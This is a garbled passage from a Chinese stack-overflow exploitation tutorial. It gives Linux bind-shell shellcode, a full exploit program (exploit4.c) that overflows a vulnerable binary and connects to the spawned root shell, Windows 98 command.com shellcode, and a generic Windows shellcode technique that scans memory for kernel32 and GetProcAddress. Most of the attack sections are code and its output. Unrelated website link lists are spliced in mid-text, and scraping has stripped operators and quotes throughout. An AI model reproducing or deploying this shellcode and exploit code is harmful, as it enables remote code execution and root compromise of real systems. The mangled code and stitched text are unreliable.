%esi,%ecx */ ///x89//x06/ /* movl %eax,(%esi) */ /* %eax 的内容为刚才socket调用的返回值 */ /* 就是soc文件描写叙述符作为第一个參数 */ ///xb0//x01/ /* movb $0x1,%al */ ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ /* 第二个參数. */ ///xb0//x66/ /* movb $0x66,%al */ ///xb3//x04/ /* movb $0x4,%bl */ ///xcd//x80/ /* int $0x80 */ ------------------------------------------------------------------------ ---- accept(soc,0,0)的汇编代码 ------------------------------------------------------------------------ ---- /* accept使用66号系统调用5号子调用。 */ /* 他使用一段内存块来传递參数。 */ /* %ecx 里面为这个内存块的地址指针. */ char code[] ///x89//xf1/ /* movl %esi,%ecx */ ///x89//xf1/ /* movl %eax,(%esi) */ /* %eax 的内容为刚才socket调用的返回值 */ /* 就是soc文件描写叙述符作为第一个參数 */ ///x31//xc0/ /* xorl %eax,%eax */ ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ /* 第二个參数. */ ///x89//x46//x08/ /* movl %eax,0x8(%esi) */ /* 第三个參数. */ ///xb0//x66/ /* movb $0x66,%al */ ///xb3//x05/ /* movb $0x5,%bl */ ///xcd//x80/ /* int $0x80 */ ------------------------------------------------------------------------ ---- dup2(cli,0)的汇编代码 ------------------------------------------------------------------------ ---- /* 第一个參数为 %ebx 第二个參数为 %ecx */ char code[] /* %eax 里面是刚才accept调用的返回值 */ /* 客户的文件描写叙述符cli . */ ///x88//xc3/ /* movb %al,%bl */ ///xb0//x3f/ /* movb $0x3f,%al */ ///x31//xc9/ /* xorl %ecx,%ecx */ ///xcd//x80/ /* int $0x80 */ ------------------------------------------------------------------------ ---- 如今该把这些全部的细节都串起来形成一个新的shell的时候了。 new shellcode ------------------------------------------------------------------------ ---- char shellcode[] 00 ///x31//xc0/ /* xorl %eax,%eax */ 02 ///xb0//x02/ /* movb $0x2,%al */ 04 ///xcd//x80/ /* int $0x80 */ 06 ///x85//xc0/ /* testl %eax,%eax */ 08 ///x75//x43/ /* jne 0x43 */ /* 运行fork()当fork()!0 的时候表明是父进程要终止 */ /* 因此跳到0x43a0x4d再跳到后面运行 exit(0) */ 0a ///xeb//x43/ /* jmp 0x43 */ /* 当fork()0 的时候表明是子进程 */ /* 因此跳到0x430c0x4f,再跳到后面运行 call -0xa5 */ 0c ///x5e/ /* popl %esi */ 0d ///x31//xc0/ /* xorl %eax,%eax */ 0f ///x31//xdb/ /* xorl %ebx,%ebx */ 11 ///x89//xf1/ /* movl %esi,%ecx */ 13 ///xb0//x02/ /* movb $0x2,%al */ 15 ///x89//x06/ /* movl %eax,(%esi) */ 17 ///xb0//x01/ /* movb $0x1,%al */ 19 ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ 1c ///xb0//x06/ /* movb $0x6,%al */ 1e ///x89//x46//x08/ /* movl %eax,0x8(%esi) */ 21 ///xb0//x66/ /* movb $0x66,%al */ 23 ///xb3//x01/ /* movb $0x1,%bl */ 25 ///xcd//x80/ /* int $0x80 */ /* 运行socket()eax里面为返回值soc文件描写叙述符 */ 27 ///x89//x06/ /* movl %eax,(%esi) */ 29 ///xb0//x02/ /* movb $0x2,%al */ 2d ///x66//x89//x46//x0c/ /* movw %ax,0xc(%esi) */ 2f ///xb0//x77/ /* movb $0x77,%al */ 31 ///x66//x89//x46//x0e/ /* movw %ax,0xe(%esi) */ 35 ///x8d//x46//x0c/ /* leal 0xc(%esi),%eax */ 38 ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ 3b ///x31//xc0/ /* xorl %eax,%eax */ 3d ///x89//x46//x10/ /* movl %eax,0x10(%esi) */ 40 ///xb0//x10/ /* movb $0x10,%al */ 42 ///x89//x46//x08/ /* movl %eax,0x8(%esi) */ 45 ///xb0//x66/ /* movb $0x66,%al */ 47 ///xb3//x02/ /* movb $0x2,%bl */ 49 ///xcd//x80/ /* int $0x80 */ /* 运行bind() */ 4b ///xeb//x04/ /* jmp 0x4 */ /* 越过以下的两个跳转 */ 4d ///xeb//x55/ /* jmp 0x55 */ /* 跳到0x4f0x550xa4 */ 4f ///xeb//x5b/ /* jmp 0x5b */ /* 跳到0x510x5b0xac */ 51 ///xb0//x01/ /* movb $0x1,%al */ 53 ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ 56 ///xb0//x66/ /* movb $0x66,%al */ 58 ///xb3//x04/ /* movb $0x4,%bl */ 5a ///xcd//x80/ /* int $0x80 */ /* 运行listen() */ 5c ///x31//xc0/ /* xorl %eax,%eax */ 5e ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ 61 ///x89//x46//x08/ /* movl %eax,0x8(%esi) */ 64 ///xb0//x66/ /* movb $0x66,%al */ 66 ///xb3//x05/ /* movb $0x5,%bl */ 68 ///xcd//x80/ /* int $0x80 */ /* 运行accept()eax里面为返回值cli文件描写叙述符 */ 6a ///x88//xc3/ /* movb %al,%bl */ 6c ///xb0//x3f/ /* movb $0x3f,%al */ 6e ///x31//xc9/ /* xorl %ecx,%ecx */ 70 ///xcd//x80/ /* int $0x80 */ 72 ///xb0//x3f/ /* movb $0x3f,%al */ 74 ///xb1//x01/ /* movb $0x1,%cl */ 76 ///xcd//x80/ /* int $0x80 */ 78 ///xb0//x3f/ /* movb $0x3f,%al */ 7a ///xb1//x02/ /* movb $0x2,%cl */ 7c ///xcd//x80/ /* int $0x80 */ /* 运行三个dup2() */ 7e ///xb8//x2f//x62//x69//x6e/ /* movl $0x6e69622f,%eax */ /* %eax//bin/ */ 83 ///x89//x06/ /* movl %eax,(%esi) */ 85 ///xb8//x2f//x73//x68//x2f/ /* movl $0x2f68732f,%eax */ /* %eax//sh// */ 8a ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ 8d ///x31//xc0/ /* xorl %eax,%eax */ 8f ///x88//x46//x07/ /* movb %al,0x7(%esi) */ 92 ///x89//x76//x08/ /* movl %esi,0x8(%esi) */ 95 ///x89//x46//x0c/ /* movl %eax,0xc(%esi) */ 98 ///xb0//x0b/ /* movb $0xb,%al */ 9a ///x89//xf3/ /* movl %esi,%ebx */ 9c ///x8d//x4e//x08/ /* leal 0x8(%esi),%ecx */ 9f ///x8d//x56//x0c/ /* leal 0xc(%esi),%edx */ a2 ///xcd//x80/ /* int $0x80 */ /* 运行execve() */ /* 执行/bin/sh() */ a4 ///x31//xc0/ /* xorl %eax,%eax */ a6 ///xb0//x01/ /* movb $0x1,%al */ a8 ///x31//xdb/ /* xorl %ebx,%ebx */ aa ///xcd//x80/ /* int $0x80 */ /* 运行exit() */ ac ///xe8//x5b//xff//xff//xff/ /* call -0xa5 */ /* 运行0x0c处的指令 */ b1 ------------------------------------------------------------------------ ---- 好长长的shell最终写完了以下就是攻击程序了。 exploit4.c ------------------------------------------------------------------------ ---- #includestdio.h #includestdlib.h #includeunistd.h #includenetdb.h #includenetinet/in.h #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 200 #define NOP 0x90 char shellcode[] ///x31//xc0/ /* xorl %eax,%eax */ ///xb0//x02/ /* movb $0x2,%al */ ///xcd//x80/ /* int $0x80 */ ///x85//xc0/ /* testl %eax,%eax */ ///x75//x43/ /* jne 0x43 */ ///xeb//x43/ /* jmp 0x43 */ ///x5e/ /* popl %esi */ ///x31//xc0/ /* xorl %eax,%eax */ ///x31//xdb/ /* xorl %ebx,%ebx */ ///x89//xf1/ /* movl %esi,%ecx */ ///xb0//x02/ /* movb $0x2,%al */ ///x89//x06/ /* movl %eax,(%esi) */ ///xb0//x01/ /* movb $0x1,%al */ ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ ///xb0//x06/ /* movb $0x6,%al */ ///x89//x46//x08/ /* movl %eax,0x8(%esi) */ ///xb0//x66/ /* movb $0x66,%al */ ///xb3//x01/ /* movb $0x1,%bl */ ///xcd//x80/ /* int $0x80 */ ///x89//x06/ /* movl %eax,(%esi) */ ///xb0//x02/ /* movb $0x2,%al */ ///x66//x89//x46//x0c/ /* movw %ax,0xc(%esi) */ ///xb0//x77/ /* movb $0x77,%al */ ///x66//x89//x46//x0e/ /* movw %ax,0xe(%esi) */ ///x8d//x46//x0c/ /* leal 0xc(%esi),%eax */ ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ ///x31//xc0/ /* xorl %eax,%eax */ ///x89//x46//x10/ /* movl %eax,0x10(%esi) */ ///xb0//x10/ /* movb $0x10,%al */ ///x89//x46//x08/ /* movl %eax,0x8(%esi) */ ///xb0//x66/ /* movb $0x66,%al */ ///xb3//x02/ /* movb $0x2,%bl */ ///xcd//x80/ /* int $0x80 */ ///xeb//x04/ /* jmp 0x4 */ ///xeb//x55/ /* jmp 0x55 */ ///xeb//x5b/ /* jmp 0x5b */ ///xb0//x01/ /* movb $0x1,%al */ ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ ///xb0//x66/ /* movb $0x66,%al */ ///xb3//x04/ /* movb $0x4,%bl */ ///xcd//x80/ /* int $0x80 */ ///x31//xc0/ /* xorl %eax,%eax */ ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ ///x89//x46//x08/ /* movl %eax,0x8(%esi) */ ///xb0//x66/ /* movb $0x66,%al */ ///xb3//x05/ /* movb $0x5,%bl */ ///xcd//x80/ /* int $0x80 */ ///x88//xc3/ /* movb %al,%bl */ ///xb0//x3f/ /* movb $0x3f,%al */ ///x31//xc9/ /* xorl %ecx,%ecx */ ///xcd//x80/ /* int $0x80 */ ///xb0//x3f/ /* movb $0x3f,%al */ ///xb1//x01/ /* movb $0x1,%cl */ ///xcd//x80/ /* int $0x80 */ ///xb0//x3f/ /* movb $0x3f,%al */ ///xb1//x02/ /* movb $0x2,%cl */ ///xcd//x80/ /* int $0x80 */ ///xb8//x2f//x62//x69//x6e/ /* movl $0x6e69622f,%eax */ ///x89//x06/ /* movl %eax,(%esi) */ ///xb8//x2f//x73//x68//x2f/ /* movl $0x2f68732f,%eax */ ///x89//x46//x04/ /* movl %eax,0x4(%esi) */ ///x31//xc0/ /* xorl %eax,%eax */ ///x88//x46//x07/ /* movb %al,0x7(%esi) */ ///x89//x76//x08/ /* movl %esi,0x8(%esi) */ ///x89//x46//x0c/ /* movl %eax,0xc(%esi) */ ///xb0//x0b/ /* movb $0xb,%al */ ///x89//xf3/ /* movl %esi,%ebx */ ///x8d//x4e//x08/ /* leal 0x8(%esi),%ecx */ ///x8d//x56//x0c/ /* leal 0xc(%esi),%edx */ ///xcd//x80/ /* int $0x80 */ ///x31//xc0/ /* xorl %eax,%eax */ ///xb0//x01/ /* movb $0x1,%al */ ///x31//xdb/ /* xorl %ebx,%ebx */ ///xcd//x80/ /* int $0x80 */ ///xe8//x5b//xff//xff//xff/ /* call -0xa5 */ unsigned long get_sp(void) { __asm__(/movl %esp,%eax/); } long getip(char *name) { struct hostent *hp; long ip; if((ipinet_addr(name))-1) { if((hpgethostbyname(name))NULL) { fprintf(stderr,/Can/t resolve host.//n/); exit(0); } memcpy(ip,(hp-h_addr),4); } return ip; } int exec_sh(int sockfd) { char snd[4096],rcv[4096]; fd_set rset; while(1) { FD_ZERO(rset); FD_SET(fileno(stdin),rset); FD_SET(sockfd,rset); select(255,rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),rset)) { memset(snd,0,sizeof(snd)); fgets(snd,sizeof(snd),stdin); write(sockfd,snd,strlen(snd)); } if(FD_ISSET(sockfd,rset)) { memset(rcv,0,sizeof(rcv)); if(read(sockfd,rcv,sizeof(rcv))0) exit(0); fputs(rcv,stdout); } } } int connect_sh(long ip) { int sockfd,i; struct sockaddr_in sin; printf(/Connect to the shell//n/); fflush(stdout); memset(sin,0,sizeof(sin)); sin.sin_familyAF_INET; sin.sin_porthtons(30464); sin.sin_addr.s_addrip; if((sockfdsocket(AF_INET,SOCK_STREAM,0))0) { printf(/Can/t create socket//n/); exit(0); } if(connect(sockfd,(struct sockaddr *)sin,sizeof(sin))0) { printf(/Can/t connect to the shell//n/); exit(0); } return sockfd; } void main(int argc,char **argv) { char buff[RET_POSITIONRANGEALIGN1],*ptr; long addr; unsigned long sp; int offsetOFFSET,bsizeRET_POSITIONRANGEALIGN1; int i; int sockfd; if(argc1) offsetatoi(argv[1]); spget_sp(); addrsp-offset; for(i0;ibsize;i4) { buff[iALIGN](addr0x000000ff); buff[iALIGN1](addr0x0000ff00)8; buff[iALIGN2](addr0x00ff0000)16; buff[iALIGN3](addr0xff000000)24; } for(i0;ibsize-RANGE*2-strlen(shellcode)-1;i) buff[i]NOP; ptrbuffbsize-RANGE*2-strlen(shellcode)-1; for(i0;istrlen(shellcode);i) *(ptr)shellcode[i]; buff[bsize-1]///0/ printf(/Jump to 0x%08x//n/,addr); if(fork()0) { execl(/./vulnerable/,/vulnerable/,buff,0); exit(0); } sleep(5); sockfdconnect_sh(getip(/127.0.0.1/)); exec_sh(sockfd); } ------------------------------------------------------------------------ ---- 算法非常easy先生成溢出串格式为NNNNSSSSAAAA。然后起一个子进程运行目标 程序 来模拟网络daemon參数为我们的字符串。好堆栈溢出发生了。我们的 shellcode被 运行那么在30464port就会有server在listen了。 父进程睡五秒等待这些完毕。就连接本机的port30464。连接建立后从socket 读取 收到的字符串打印到标准输出从标准输入读取字符串传到socket的server端 。 以下来试一试 我们先写一个漏洞程序 vulnerable.C ------------------------------------------------------------------------ ---- #include stdio.h int main(int argc,char ** argv) { char buffer[1000]; printf(/I am here%x,buffer%d//n/,buffer,strlen(argv[1])); strcpy(buffer,argv[1]); return 0; } ------------------------------------------------------------------------ ---- [nkl10]$ ./exploit Jump to 0xbffff63c I am herebffff280,buffer1224 Connect to the shell Can/t connect to the shell 看到了吗我在vulnerable.C里面增加了一个printf打印buffer的首地址这样 就能够 不用猜了。0xbffff63c-0xbffff280 956,好就用956来进行偏移。 [nkl10]$./exploit 956 Jump to 0xbffff280 I am herebffff280,buffer1224 connect to shell whoami root id uid0(root)...... uname -a 怎样阅读源码 虚拟网络计算工具介绍 网络配置文件高速解读 帐号安全 学习Linux网络编程(1) Linux 指令大全(1) Linux下的网络扫描利器NMAP Linux入侵检測 10个针对分布式拒绝服务攻击有关的高速补救措施 BIND 8 exploit 木马程序简析 相关链接共 136 篇 刷新该页面能够得到不同的keyword链接 ,相关的链接) hrefhttp://www.safechina.net/article/showarticle.php?id1003664001# mce_hrefhttp://www.safechina.net/article/showarticle.php?id1003664001Linux localhost.localdomain 2.2.5-15。。。 嘿嘿大功告成了。 --------------------------------------------------------------- window系统下的堆栈溢出--原理篇 这一讲我们来看看windows系统下的程序。我们的目的是研究怎样利用windows程序 的 堆栈溢出漏洞。 让我们从头開始。windows 98第二版 首先我们来写一个问题程序 #include stdio.h int main() { char name[32]; gets(name); for(int i0;i32name[i];i) printf(/0x%x/,name[i]); } 相信大家都看出来了gets(name)对name数组没有作边界检查。那么我们能够给程 序 一个非常长的串肯定能够覆盖堆栈中的返回地址。 C://Program Files//DevStudio//MyProjects//bo//Debugvunera~1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaa //0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0 x61//0x61 //0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0 x61//0x61 到这里出现了那个熟悉的对话框“该程序运行了非法操作。。。”太好了点 击 具体信息button看到EIP的值是0x61616161哈哈对话框还会把返回地址告诉我 们。 这个功能太好了我们能够选择一个序列的输入串精确的确定存放返回地址的偏 移位置。 C://Program Files//DevStudio//MyProjects//bo//Debugvunera~1 12345678910111213141516171819202122232425262728293031323334353637383940 //0x31//0x32//0x33//0x34//0x35//0x36//0x37//0x38//0x39//0x31//0x30//0x31//0x31//0x31//0 x32//0x31 //0x33//0x31//0x34//0x31//0x35//0x31//0x36//0x31//0x37//0x31//0x38//0x31//0x39//0x32//0 x30//0x32 到这里又出现了那个熟悉的对话框“改程序运行了非法操作。。。”点击具体 信息 button以下是具体信息 VUNERABLE 在 00de:32363235 的模块 未知 中导致无效页错误。 Registers: EAX00000005 CS017f EIP32363235 EFLGS00000246 EBX00540000 SS0187 ESP0064fe00 EBP32343233 ECX00000020 DS0187 ESI816bffcc FS11df EDX00411a68 ES0187 EDI00000000 GS0000 Bytes at CS:EIP: Stack dump: 32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68 0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c ||||||哦哦EIP的内容为0x32363235就是2625,EBP的内容为0x32343233就是2423,计 算 一下能够知道在堆栈中从name变量地址開始偏移36处是EBP的地址从name 变量 地址開始偏移40处是ret的地址。我们能够给name数组输入我们精心编写的 shellcode。 我们仅仅要把name的開始地址放在溢出字符串的地址40就能够了。那么name的開始 地址 是多少呢 通过上面的stack dump 我们能够看到当前ESP所指向的地址0x0064fe00内容为 0x32383237,那么计算得出name的開始地址为0x0064fe00-440x64fdd4。在 windows 系统其它执行进程保持不变的情况下。我们每次执行vunera~1的堆栈的開始地址 都 是同样的。也就是说每次执行name的地址都是0x64fdd4。 说到这里大家一定已经发现了这样一个情况在win系统中因为有地址冲突检 測 出错时寄存器影像和堆栈影像使得我们对堆栈溢出漏洞能够进行精确的分析 溢出偏移地址。这就使我们能够精确的方便的寻找堆栈溢出漏洞。 OK万事具备仅仅差shellcode了。 首先考虑一下我们的shellcode要作什么显然依据以往的经验我们想开一 个 dos窗体这样在这个窗体下我们就能够作非常多事情。 开一个dos窗体的程序例如以下 #include windows.h #include winbase.h typedef void (*MYPROC)(LPTSTR); int main() { HINSTANCE LibHandle; MYPROC ProcAdd; char dllbuf[11] /msvcrt.dll/ char sysbuf[7] /system/ char cmdbuf[16] /command.com/ LibHandle LoadLibrary(dllbuf); ProcAdd (MYPROC) GetProcAddress(LibHandle, sysbuf); (ProcAdd) (cmdbuf); return 0; } 这个程序有必要详解一下。我们知道运行一个command.com就能够获得一个 dos窗体。在C库函数里面语句system(command.com)将完毕我们须要的功能。 可是windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说 windows通过动态链接库来提供系统函数。这就是所谓的Dll/s。 因此当我们想调用一个系统函数的时候并不能直接引用他。我们必须找到那个 包括此函数的动态链接库由该动态链接库提供这个函数的地址。DLL本身也有一 个 基本地址该DLL每一次被载入都是从这个基本地址载入。比方system函数由 msvcrt.dll (the Microsoft Visual C Runtime library)提供而msvcrt.dll每次都从 0x78000000地址開始。system函数位于msvcrt.dll的一个固定偏移处这个偏移地 址 仅仅与msvcrt.dll的版本号有关不同的版本号可能偏移地址不同。我的系统上 msvcrt.dll版本号为(v6.00.8397.0)。system的偏移地址为0x019824。 所以要想运行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接 库 msvcrt.dll获得动态链接库的句柄。然后使用GetProcAddress(LibHandle, system) 获得 system的真实地址。之后才干使用这个真实地址来调用system函数。 好了如今能够编译运行结果正确我们得到了一个dos框。 如今对这个程序进行调试跟踪汇编语言能够得到 15: LibHandle LoadLibrary(dllbuf); 00401075 lea edx,dword ptr [dllbuf] 00401078 push edx 00401079 call dword ptr [__imp__LoadLibraryA4(0x00416134)] 0040107F mov dword ptr [LibHandle],eax 16: 17: ProcAdd (MYPROC) GetProcAddress(LibHandle, sysbuf); 00401082 lea eax,dword ptr [sysbuf] 00401085 push eax 00401086 mov ecx,dword ptr [LibHandle] 00401089 push ecx 0040108A call dword ptr [__imp__GetProcAddress8(0x00416188)] 00401090 mov dword ptr [ProcAdd],eax ;如今eax的值为0x78019824就是system的真实地址。 ;这个地址对于我的机器而言是唯一的。不用每次都找了。 18: 19: (ProcAdd) (cmdbuf); 00401093 lea edx,dword ptr [cmdbuf] ;使用堆栈传递參数仅仅有一个參数就是字符串/command.com/的地址 00401096 push edx 00401097 call dword ptr [ProcAdd] 0040109A add esp,4 如今我们能够写出一段汇编代码来完毕system看以看我们的运行system调用的代 码 是否可以像我们设计的那样工作 #include windows.h #include winbase.h void main() { LoadLibrary(/msvcrt.dll/); __asm { mov esp,ebp ;把ebp的内容赋值给esp push ebp ;保存ebpesp4 mov ebp,esp ;给ebp赋新值将作为局部变量 的基指针 xor edi,edi ; push edi ;压入0esp4 ;作用是构造字符串的结尾//0字符 。 sub esp,08h ;加上上面一共同拥有12个字节 ;用来放/command.com/。 mov byte ptr [ebp-0ch],63h ; mov byte ptr [ebp-0bh],6fh ; mov byte ptr [ebp-0ah],6dh ; mov byte ptr [ebp-09h],6Dh ; mov byte ptr [ebp-08h],61h ; mov byte ptr [ebp-07h],6eh ; mov byte ptr [ebp-06h],64h ; mov byte ptr [ebp-05h],2Eh ; mov byte ptr [ebp-04h],63h ; mov byte ptr [ebp-03h],6fh ; mov byte ptr [ebp-02h],6dh ;生成串/command.com/. lea eax,[ebp-0ch] ; push eax ;串地址作为參数入栈 mov eax, 0x78019824 ; call eax ;调用system } } 编译然后执行。好DOS框出来了。在提示符下输入dir,copy......是不是想起 了 当年用286的时候了 敲exit退出来哎呀发生了非法操作。Access Violation。这是肯定的由于我 们的 程序已经把堆栈指针搞乱了。 对上面的算法进行优化如今我们能够写出shellcode例如以下 char shellcode[] { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */ 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }; 还记得第二讲中那个測试shellcode的基本程序吗我们能够用他来測试这个 shellcode #include windows.h #include winbase.h char shellcode[] { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */ 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }; int main() { int *ret; LoadLibrary(/msvcrt.dll/); ret (int *)ret 2; //ret 等于main的返回地址 //(2是由于有push ebp ,否则加1就能够了。 (*ret) (int)shellcode; //改动main的返回地址为shellcode的開始地 址。 } 编译执行得到dos对话框。 如今总结一下。我们已经知道了在windows系统下怎样获得一次堆栈溢出怎样计 算 偏移地址以及怎样编写一个shellcode以得到dos。理论上你已经具备了利用堆 栈溢出 的能力了以下我们通过实战来真正掌握他。 -------------------------------------------------------------- WINDOWS的SHELLCODE编写高级技巧 作者yuange unix等系统由于实用户概念所以往往溢出是使用先得到普通帐号然后登陆后用溢出 再载入一个SHELL的办法得到ROOT权限其系统调用又方便所以SHELLCODE编写一般都比 较简单。但WINDOWS系统往往不提供登陆服务所以溢出攻击的SHELLCODE往往要提供SOCKET 连接要载入程序得到SHELL等而WINDOWS的系统调用int2e接口又不如unix系统调用int80 规范所以一般都使用API而API函数地址又由于系统版本号的不同而不一样所以要编写 WINDOWS以下比較有用、通用点的SHELLCODE比較麻烦。 经过一段时间的思考得到了WINDOWS下编写SHELLCODE的比教好的办法。 1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法这样仅仅要知道溢出 点大致范围就能够了。 2、SHELLCODE定位。使用ESP寄存器定位仅仅要前面那覆盖的RET地址后面放一个JMP ESP功能的指令地址就能够定位了。 3、RET指令地址、JMP ESP功能指令地址採用代码页里面的地址54 C3或者FF E4 、C3这个一个语言的WINDOWS地址固定也非常好找这个地址。 4、SHELLCODE直接使用C语言编写方便编写、改动、调试。 5、SHELLCODE统一编码满足应用条件对SHELLCODE字符的限制用一段小汇编代码解 码这样编写SHELLCODE就能够不用考虑特殊字符了。 6、通信加密对付安全扫描浅谈 什么是sniffer和怎样防止sniffer的监听 Nmap网络安全扫描器说明(2) 安全性与INTERNET信息serverIIS SQL数据库的一些攻击 WinShell v3.0 中文帮助 UNIX IP Stack 调整指南 警惕DoS的路由器攻击 Win2000 Server入侵监測 后门隐藏通道及HTTP(S) 相关链接共 103 篇 刷新该页面能够得到不同的keyword链接 ,相关的链接) hrefhttp://www.safechina.net/article/showarticle.php?id1003664001# mce_hrefhttp://www.safechina.net/article/showarticle.php?id1003664001防火墙 实现FTP功能实现内存直接接管WEB服务等的高级应用。 以下主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用 GetProcAddress定位要使用库用LoadLibraryA载入。那这样SHELLCODE就仅仅依靠这两个 API了。那这两个API的地址又怎么解决呢LoadLibraryA这个API在系统库KERNEL32.DLL里 面也能够使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和 GetProcAddress的地址了。由于一般应用程序都会载入kernel32.dll所以解决的方法就是在 内存里面找到这个系统库和API地址所幸知道了WINDOWS的模块数据结构也就不难了,主要 是添加异常结构处理 。以下是VC6.0程序代码 void shellcodefn() { int *except[3]; FARPROC procgetadd0; char *stradd; int imgbase,fnbase,i,k,l; HANDLE libhandle _asm { jmp nextcall getstradd: pop stradd lea EDI,except mov eax,dword ptr FS:[0] mov dword ptr [edi0x08],eax mov dword ptr FS:[0],EDI } except[0]0xffffffff; except[1]stradd-0x07; /* 保存异常结构链和改动异常结构链SHELLCODE接管异常 */ imgbase0x77e00000; /* 搜索KERNEL32.DLL 的起始事实上地址 */ call getexceptretadd } /* 得到异常后的返回地址 */ for(;imgbase0xbffa0000,procgetadd0;){ imgbase0x10000; /* 模块地址是64K为单位加高速度*/ if(imgbase0x78000000) imgbase0xbff00000; /* 假设到这还没有搜索到那可能是WIN9X系统 */ if(*( WORD *)imgbase/ZM/ *(WORD *) (imgbase*(int *)(imgbase0x3c))/EP/){ /* 模块结构的模块头 */ fnbase*(int *)(imgbase*(int *)(imgbase0x3c)0x78)imgbase; k*(int *)(fnbase0xc)imgbase; if(*(int *)k /NREK/*(int *)(k4)/23LE/){ /* 模块名 */ libhandleimgbase; /* 得到模块头地址就是模块句柄 */ kimgbase*(int *)(fnbase0x20); for(l0;l*(int *) (fnbase0x18);l,k4){ if(*(int *)(imgbase*(int *)k)/PteG/*(int *)(4imgbase*(int *)k)/Acor/){ /* 引出名 */ k*(WORD *)(llimgbase*(int *)(fnbase0x24)); k*(int *)(fnbase0x10)-1; k*(int *)(kkkkimgbase*(int *)(fnbase0x1c)); procgetaddkimgbase; /* API地址 */ break; } } } } } // 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址 // 注意这儿处理了搜索页面不在情况。 _asm{ lea edi,except mov eax,dword ptr [edi0x08] mov dword ptr fs:[0],eax } /* 恢复异常结构链 */ if(procgetadd0) goto die ; /* 假设没找到GetProcAddress地址死循环 */ die: goto die ; _asm{ getexceptretadd: pop eax push eax mov edi,dword ptr [stradd] mov dword ptr [edi-0x0e],eax ret /* 得到异常后的返回地址并填写到异常处理模块 */ /* 异常处理模块 */ errprogram: mov eax,dword ptr [esp0x0c] add eax,0xb8 mov dword ptr [eax],0x11223344 //stradd-0xe /* 改动异常返回EIP指针 */ xor eax,eax //2 /* 不提示异常 */ ret //1 /* 异常处理返回 */ execptprogram: jmp errprogram //2 bytes stradd-7 nextcall: call getstradd //5 bytes } }